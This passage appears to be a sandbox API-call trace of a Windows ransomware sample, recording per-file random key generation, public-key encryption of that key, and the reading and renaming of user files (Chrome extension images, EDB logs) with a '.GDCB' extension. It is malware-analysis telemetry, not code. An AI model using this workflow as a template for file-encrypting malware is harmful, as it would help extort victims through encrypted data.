returned 0x74cb0df0 [0287.368] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e2bc | out: pbBuffer=0x285e2bc) returned 1 [0287.368] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0287.368] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4e48) returned 1 [0287.371] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0287.373] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0287.373] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285e288 | out: pbBuffer=0x285e288) returned 1 [0287.373] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0287.374] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4760) returned 1 [0287.377] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67a7230) returned 1 [0287.377] CryptGetKeyParam (in: hKey=0x67a7230, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0287.377] CryptEncrypt (in: hKey=0x67a7230, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd380000*, pdwDataLen=0x285e2d4*=0xc8, dwBufLen=0x800 | out: pbData=0xd380000*, pdwDataLen=0x285e2d4*=0x100) returned 1 [0287.377] GetLastError () returned 0x0 [0287.377] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0287.377] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4980) returned 1 [0287.379] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67a75f0) returned 1 [0287.379] CryptGetKeyParam (in: hKey=0x67a75f0, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0287.379] CryptEncrypt (in: hKey=0x67a75f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd390000*, pdwDataLen=0x285e2d8*=0xc8, dwBufLen=0x800 | out: pbData=0xd390000*, pdwDataLen=0x285e2d8*=0x100) returned 1 [0287.379] GetLastError () returned 0x0 [0287.379] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0287.379] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\counters.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\counters.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0287.410] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4760) returned 1 [0287.414] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0287.417] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0287.417] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e034 | out: pbBuffer=0x285e034) returned 1 [0287.417] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0287.417] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4760) returned 1 [0287.420] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0287.422] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0287.422] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e000 | out: pbBuffer=0x285e000) returned 1 [0287.422] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0287.422] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4760) returned 1 [0287.426] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67a8af0) returned 1 [0287.426] CryptGetKeyParam (in: hKey=0x67a8af0, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0287.426] CryptEncrypt (in: hKey=0x67a8af0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd3a0000*, pdwDataLen=0x285e04c*=0xc8, dwBufLen=0x800 | out: pbData=0xd3a0000*, pdwDataLen=0x285e04c*=0x100) returned 1 [0287.426] GetLastError () returned 0x0 [0287.426] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0287.426] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4e48) returned 1 [0287.428] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67a8b30) returned 1 [0287.428] CryptGetKeyParam (in: hKey=0x67a8b30, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0287.428] CryptEncrypt (in: hKey=0x67a8b30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd3b0000*, pdwDataLen=0x285e050*=0xc8, dwBufLen=0x800 | out: pbData=0xd3b0000*, pdwDataLen=0x285e050*=0x100) returned 1 [0287.428] GetLastError () returned 0x0 [0287.428] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0287.428] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\TileDataLayer\\Database\\EDB.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\tiledatalayer\\database\\edb.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0287.431] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4760) returned 1 [0287.435] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0287.437] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0287.437] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e034 | out: pbBuffer=0x285e034) returned 1 [0287.437] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0287.437] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4e48) returned 1 [0287.440] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0287.442] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0287.443] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285e000 | out: pbBuffer=0x285e000) returned 1 [0287.443] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0287.443] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4760) returned 1 [0287.446] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67a8cb0) returned 1 [0287.446] CryptGetKeyParam (in: hKey=0x67a8cb0, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0287.446] CryptEncrypt (in: hKey=0x67a8cb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd3c0000*, pdwDataLen=0x285e04c*=0xc8, dwBufLen=0x800 | out: pbData=0xd3c0000*, pdwDataLen=0x285e04c*=0x100) returned 1 [0287.446] GetLastError () returned 0x0 [0287.446] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0287.446] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4760) returned 1 [0287.448] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67a9030) returned 1 [0287.448] CryptGetKeyParam (in: hKey=0x67a9030, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0287.448] CryptEncrypt (in: hKey=0x67a9030, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd3d0000*, pdwDataLen=0x285e050*=0xc8, dwBufLen=0x800 | out: pbData=0xd3d0000*, pdwDataLen=0x285e050*=0x100) returned 1 [0287.448] GetLastError () returned 0x0 [0287.448] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0287.448] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\tiledatalayer\\database\\vedatamodel.edb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0287.999] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0288.003] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0288.006] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0288.006] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0288.006] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0288.006] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0288.008] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0288.010] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0288.016] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0288.016] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0288.016] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0288.019] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67a8fb0) returned 1 [0288.019] CryptGetKeyParam (in: hKey=0x67a8fb0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0288.019] CryptEncrypt (in: hKey=0x67a8fb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd3e0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xd3e0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0288.019] GetLastError () returned 0x0 [0288.019] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0288.019] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0288.021] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67a9430) returned 1 [0288.021] CryptGetKeyParam (in: hKey=0x67a9430, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0288.021] CryptEncrypt (in: hKey=0x67a9430, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd3f0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xd3f0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0288.021] GetLastError () returned 0x0 [0288.021] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0288.021] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0288.022] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd400000 [0288.025] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd410000 [0288.028] ReadFile (in: hFile=0x458, lpBuffer=0xd410000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xd410000*, lpNumberOfBytesRead=0x285d3e8*=0x2b0, lpOverlapped=0x0) returned 1 [0288.035] VirtualAlloc (lpAddress=0x0, dwSize=0x2b0, flAllocationType=0x3000, flProtect=0x4) returned 0xd520000 [0288.040] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png.gdcb")) returned 1 [0288.043] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0288.046] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0288.048] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0288.048] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0288.048] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0288.048] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0288.051] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0288.053] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0288.053] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0288.053] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0288.054] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0288.056] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67a9470) returned 1 [0288.056] CryptGetKeyParam (in: hKey=0x67a9470, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0288.056] CryptEncrypt (in: hKey=0x67a9470, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd3e0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xd3e0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0288.056] GetLastError () returned 0x0 [0288.056] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0288.056] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0288.058] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67a90f0) returned 1 [0288.058] CryptGetKeyParam (in: hKey=0x67a90f0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0288.058] CryptEncrypt (in: hKey=0x67a90f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd3f0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xd3f0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0288.058] GetLastError () returned 0x0 [0288.058] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0288.058] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0288.059] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd400000 [0288.062] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd410000 [0288.064] ReadFile (in: hFile=0x458, lpBuffer=0xd410000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xd410000*, lpNumberOfBytesRead=0x285d3e8*=0xfc, lpOverlapped=0x0) returned 1 [0288.072] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0xd520000 [0288.100] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png.gdcb")) returned 1 [0288.103] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0288.106] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0288.109] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0288.110] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0288.110] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0288.110] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0288.113] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0288.117] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0288.117] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0288.117] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0288.117] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0288.120] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67a9870) returned 1 [0288.120] CryptGetKeyParam (in: hKey=0x67a9870, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0288.120] CryptEncrypt (in: hKey=0x67a9870, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd3e0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xd3e0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0288.120] GetLastError () returned 0x0 [0288.120] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0288.120] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0288.122] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67a93f0) returned 1 [0288.122] CryptGetKeyParam (in: hKey=0x67a93f0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0288.122] CryptEncrypt (in: hKey=0x67a93f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd3f0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xd3f0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0288.123] GetLastError () returned 0x0 [0288.123] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0288.123] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0288.124] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd400000 [0288.128] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd410000 [0288.130] ReadFile (in: hFile=0x458, lpBuffer=0xd410000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xd410000*, lpNumberOfBytesRead=0x285d3e8*=0xa0, lpOverlapped=0x0) returned 1 [0288.139] VirtualAlloc (lpAddress=0x0, dwSize=0xa0, flAllocationType=0x3000, flProtect=0x4) returned 0xd520000 [0288.149] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png.gdcb")) returned 1 [0288.153] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0288.157] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0288.160] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0288.160] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0288.160] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0288.160] CryptAcquireContextW (in: 